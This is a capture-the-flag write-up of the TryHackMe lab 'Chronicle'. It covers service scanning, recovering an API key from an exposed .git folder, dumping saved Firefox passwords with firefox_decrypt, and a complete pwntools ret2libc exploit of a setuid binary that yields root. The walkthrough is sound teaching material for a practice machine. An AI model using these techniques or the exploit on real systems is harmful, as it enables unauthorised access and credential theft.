TryHackMe: Chronicle
This is a write-up of the room Chronicle from TryHackMe.
Recon
To begin, start an Nmap scan of the box:
nmap -sC -sV -oN nmap/init chronicle.thm
You will get the following:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b2:4c:49:da:7c:9a:3a:ba:6e:59:46:c2:a9:e6:a2:35 (RSA)
| 256 7a:3e:30:70:cf:32:a4:f2:0a:cb:2b:42:08:0c:19:bd (ECDSA)
|_ 256 4f:35:e1:33:96:84:5d:e5:b3:75:7d:d8:32:18:e0:a8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
8081/tcp open http Werkzeug httpd 1.0.1 (Python 3.6.9)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We see that there is an SSH server as well as two websites. We can see from the headers of Port 8081 that it is a Python web app (Werkzeug)
Exploration
First we visit port 80 and we are greeted with a webpage that simply says ‘Old’ Seems to be nothing else at the moment…
Next, we move on to port 8081. This time we see a far more complete website:
Moving around the website, we find a login page:
We can try basic creds such as admin:admin but the form doesn’t seem to work; we can’t register either. If you click on Forgot Password, you are redirected to the following page:
It seems we only need to type the username and it will tell us the password! If we test the page with a username, in Burpsuite we will see the following request:
POST /api/username HTTP/1.1
Host: chronicle.thm:8081
Content-Length: 14
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Content-type: application/json
Accept: */*
Origin: http://chronicle.thm:8081
Referer: http://chronicle.thm:8081/forgot
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
{"key":"NULL"}
And we get the response:
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 15
Server: Werkzeug/1.0.1 Python/3.6.9
Date: Tue, 24 Aug 2021 13:29:53 GMT
Invalid API Key
Hmmm, Invalid API Key. So we need to now find that key. There doesn’t seem to be anything else on Port 8081, so we can now try fuzzing port 80.
Finding the Key
We can starting fuzzing with ffuf
.
ffuf -u http://chronicle.thm/FUZZ -w raft-large-directories-lowercase.txt
We uncover /old directory:
We can read note.txt
Everything has been moved to new directory and the webapp has been deployed
Visiting the templates directory goes to the website
We can start fuzzing /old to find hidden directories:
ffuf -u http://chronicle.thm/old/FUZZ -w raft-large-directories-lowercase.txt
There is a .git
folder! We can download it to see what it contains:
wget http://chronicle.thm/old/.git --recursive --continue
We downloaded the following:
$ ls -la
total 20
drwxr-xr-x 4 kali kali 4096 Aug 24 12:38 .
drwxr-xr-x 3 kali kali 4096 Aug 24 12:38 ..
drwxr-xr-x 2 kali kali 4096 Aug 24 12:38 icons
-rw-r--r-- 1 kali kali 15 Mar 26 18:58 index.html
drwxr-xr-x 4 kali kali 4096 Aug 24 12:38 old
Moving into /old…
$ ls -la
total 56
drwxr-xr-x 4 kali kali 4096 Aug 24 12:38 .
drwxr-xr-x 4 kali kali 4096 Aug 24 12:38 ..
drwxr-xr-x 8 kali kali 4096 Aug 24 12:38 .git
-rw-r--r-- 1 kali kali 1130 Aug 24 12:38 index.html
-rw-r--r-- 1 kali kali 1130 Aug 24 12:38 'index.html?C=D;O=A'
-rw-r--r-- 1 kali kali 1130 Aug 24 12:38 'index.html?C=D;O=D'
-rw-r--r-- 1 kali kali 1130 Aug 24 12:38 'index.html?C=M;O=A'
-rw-r--r-- 1 kali kali 1130 Aug 24 12:38 'index.html?C=M;O=D'
-rw-r--r-- 1 kali kali 1130 Aug 24 12:38 'index.html?C=N;O=A'
-rw-r--r-- 1 kali kali 1130 Aug 24 12:38 'index.html?C=N;O=D'
-rw-r--r-- 1 kali kali 1130 Aug 24 12:38 'index.html?C=S;O=A'
-rw-r--r-- 1 kali kali 1130 Aug 24 12:38 'index.html?C=S;O=D'
-rw-r--r-- 1 kali kali 76 Mar 26 18:27 note.txt
drwxr-xr-x 2 kali kali 4096 Aug 24 12:38 templates
We can use git log
to see commit history
git log
commit 038a67e0ebfde470bf83f31174b6e60726c646ae (HEAD -> master)
Author: root <[email protected]>
Date: Fri Mar 26 22:50:26 2021 +0000
Clearing again
commit cd0375717551c8c8287a53b78b014b7d7e4da3bb
Author: root <[email protected]>
Date: Fri Mar 26 22:49:59 2021 +0000
Clearing
commit 33891017aa63726711585c0a2cd5e39a80cd60e6
Author: root <[email protected]>
Date: Fri Mar 26 22:34:33 2021 +0000
Finishing Things
commit 25fa9929ff34c45e493e172bcb64726dfe3a2780
We can view each commit in detail with git show <HASH>
Viewing the first commit:
[email protected]('/api/<uname>',methods=['POST'])
+def info(uname):
+ if(uname == ""):
+ return "Username not provided"
+ print("OK")
+ data=request.get_json(force=True)
+ print(data)
+ if(data['key']=='abcd'):
+ if(uname=="admin"):
+ return '{"username":"admin","password":"password"}'
+ elif(uname=="someone"):
+ return '{"username":"someone","password":"someword"}'
+ else:
+ return 'Invalid Username'
+ else:
+ return "Invalid API Key"
This doesn’t help us as we know that we can’t login with the website and these don’t work for SSH either.
Moving on to the second commit we see the following:
git show 33891017aa63726711585c0a2cd5e39a80cd60e6
+++ b/app.py
@@ -22,11 +22,11 @@ def info(uname):
print("OK")
data=request.get_json(force=True)
print(data)
- if(data['key']=='abcd'):
+ if(data['key']=='7454c26--------------------------'):
if(uname=="admin"):
- return '{"username":"admin","password":"password"}'
+ return '{"username":"admin","password":"password"}' #Default Change them as required
elif(uname=="someone"):
- return '{"username":"someone","password":"someword"}'
+ return '{"username":"someone","password":"someword"}' #Some other user
else:
return 'Invalid Username'
This commit has revealed the key that we needed. We can now try and find a username.
ffuf -w /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -X POST -d '{"key":"7454c2--------------------"}' -u http://chronicle.thm:8081/api/FUZZ -fw 2
We find the username tommy
. We can now reset the password:
We can intercept the request to add the Key:
User Flag
We can use this password to access SSH:
$ ssh [email protected]
The authenticity of host 'chronicle.thm (10.10.62.137)' can't be established.
ECDSA key fingerprint is SHA256:t0/3cHdK4vYAwCE2QefO+zIgTg0DipgMcPQLhnjgwhA.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'chronicle.thm,10.10.62.137' (ECDSA) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-142-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue Aug 24 16:59:02 UTC 2021
System load: 0.08 Processes: 99
Usage of /: 60.5% of 8.79GB Users logged in: 0
Memory usage: 41% IP address for eth0: 10.10.62.137
Swap usage: 0%
73 packages can be updated.
1 update is a security update.
*** System restart required ***
Last login: Fri Apr 16 14:05:02 2021 from 192.168.29.217
tommy@incognito:~$
We can get the User Flag:
tommy@incognito:~$ ls -la
total 44
drwxr-xr-x 7 tommy tommyV 4096 Jun 11 06:22 .
drwxr-xr-x 4 root root 4096 Apr 3 20:27 ..
lrwxrwxrwx 1 root root 9 Apr 3 20:45 .bash_history -> /dev/null
-rw-r--r-- 1 tommy tommyV 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 tommy tommyV 3771 Apr 4 2018 .bashrc
drwx------ 2 tommy tommyV 4096 Apr 3 21:07 .cache
drwxr-x--- 3 tommy tommyV 4096 Apr 3 21:41 .config
drwx------ 4 tommy tommyV 4096 Apr 3 21:41 .gnupg
drwxr-xr-x 3 tommy tommyV 4096 Apr 3 21:40 .local
-rw-r--r-- 1 tommy tommyV 807 Apr 4 2018 .profile
-rw-r--r-- 1 tommy tommyV 33 Apr 3 20:53 user.txt
drwxr-xr-x 5 tommy tommyV 4096 Apr 3 20:21 web
tommy@incognito:~$ cat user.txt
7ba840222ec______________________
Root Flag
We can see that there is another user called carlJ, we can change into their home folder.
tommy@incognito:/home/carlJ$ ls -la
total 44
drwxr-xr-x 8 carlJ carlJ 4096 Jun 11 06:22 .
drwxr-xr-x 4 root root 4096 Apr 3 20:27 ..
lrwxrwxrwx 1 root root 9 Apr 3 13:44 .bash_history -> /dev/null
-rw-r--r-- 1 carlJ carlJ 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 carlJ carlJ 3772 Mar 26 23:32 .bashrc
drwx------ 4 carlJ carlJ 4096 Apr 3 20:24 .cache
drwxr-x--- 3 carlJ carlJ 4096 Apr 3 21:44 .config
drwx------ 3 carlJ carlJ 4096 Apr 3 21:44 .gnupg
drwxrwxr-x 3 carlJ carlJ 4096 Apr 16 14:08 .local
drwx------ 2 carlJ carlJ 4096 Apr 16 16:02 mailing
drwxr-xr-x 5 carlJ carlJ 4096 Mar 28 17:29 .mozilla
-rw-r--r-- 1 carlJ carlJ 808 Mar 26 23:32 .profile
mailing
folder looks interesting, but we get access denied. We can also see that their is a .mozilla
folder, meaning we can potentially dump their passwords…
After a bit of research we can find a tool https://github.com/unode/firefox_decrypt
Clone it onto your local machine
$ git clone https://github.com/unode/firefox_decrypt
Cloning into 'firefox_decrypt'...
remote: Enumerating objects: 1128, done.
remote: Counting objects: 100% (317/317), done.
remote: Compressing objects: 100% (175/175), done.
remote: Total 1128 (delta 186), reused 248 (delta 132), pack-reused 811
Receiving objects: 100% (1128/1128), 425.81 KiB | 856.00 KiB/s, done.
Resolving deltas: 100% (679/679), done.
Once we have the tool, we can now download the .mozilla
folder:
$ scp -r [email protected]:/home/carlJ/.mozilla/firefox firefox
We can now run the script:
$ python3 firefox_decrypt.py firefox 12 ⨯
Select the Mozilla profile you wish to decrypt
1 -> 45ir4czt.default
2 -> 0ryxwn4c.default-release
2
Master Password for profile firefox/0ryxwn4c.default-release:
It needs a password… after trying a few common passwords we find that it is password1
.
This reveals a saved password:
Website: https://incognito.com
Username: 'dev'
Password: 'Pas$---------'
We can try and use this password for SSH and it works!
$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-142-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information disabled due to load higher than 1.0
73 packages can be updated.
1 update is a security update.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sat Apr 3 20:24:03 2021 from 192.168.29.217
carlJ@incognito:~$
We can now look at the mailing
folder:
carlJ@incognito:~/mailing$ ls -la
total 20
drwx------ 2 carlJ carlJ 4096 Apr 16 16:02 .
drwxr-xr-x 8 carlJ carlJ 4096 Jun 11 06:22 ..
-rwsrwxr-x 1 root root 8544 Apr 3 13:29 smail
We see there is a setuid binary that we can use to exploit!
Running this binary, we see that it is a basic mailer program:
carlJ@incognito:~/mailing$ ./smail
What do you wanna do
1-Send Message
2-Change your Signature
We can use strings
to get more info:
carlJ@incognito:~/mailing$ strings ./smail
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
__isoc99_scanf
puts
stdin
fgetc
fgets
__libc_start_main
GLIBC_2.7
GLIBC_2.2.5
__gmon_start__
AWAVI
AUATL
[]A\A]A^A_
Changed
What do you wanna do
1-Send Message
2-Change your Signature
What message you want to send(limit 80)
Sent!
Write your signature...
;*3$"
GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.7698
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
ctf.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
puts@@GLIBC_2.2.5
stdin@@GLIBC_2.2.5
_edata
fgetc@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
fgets@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
_dl_relocate_static_pie
__bss_start
main
__isoc99_scanf@@GLIBC_2.7
__TMC_END__
setuid@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got
.got.plt
.data
.bss
.comment
This binary may be vulnerable to buffer overflow. We can try ret2libc
Find Out More
We can now craft exploit.py
:
from pwn import *
p = process('./smail')
libc_base = 0x7ffff79e2000
system = libc_base + 0x4f550
binsh= libc_base + 0x1b3e1a
POPRDI=0x4007f3
payload = b'A' * 72
payload += p64(0x400556)
payload += p64(POPRDI)
payload += p64(binsh)
payload += p64(system)
payload += p64(0x0)
p.clean()
p.sendline("2")
p.clean()
p.sendline(payload)
p.interactive()
When we run the script, we achieve root access!
carlJ@incognito:~/mailing$ python3 exploit.py
[+] Starting local process './smail': pid 13932
[*] Switching to interactive mode
Changed
$ whoami
root
$ cd /root
$ ls
root.txt
$ cat root.txt
f21979_______________________________________
And the room is complete!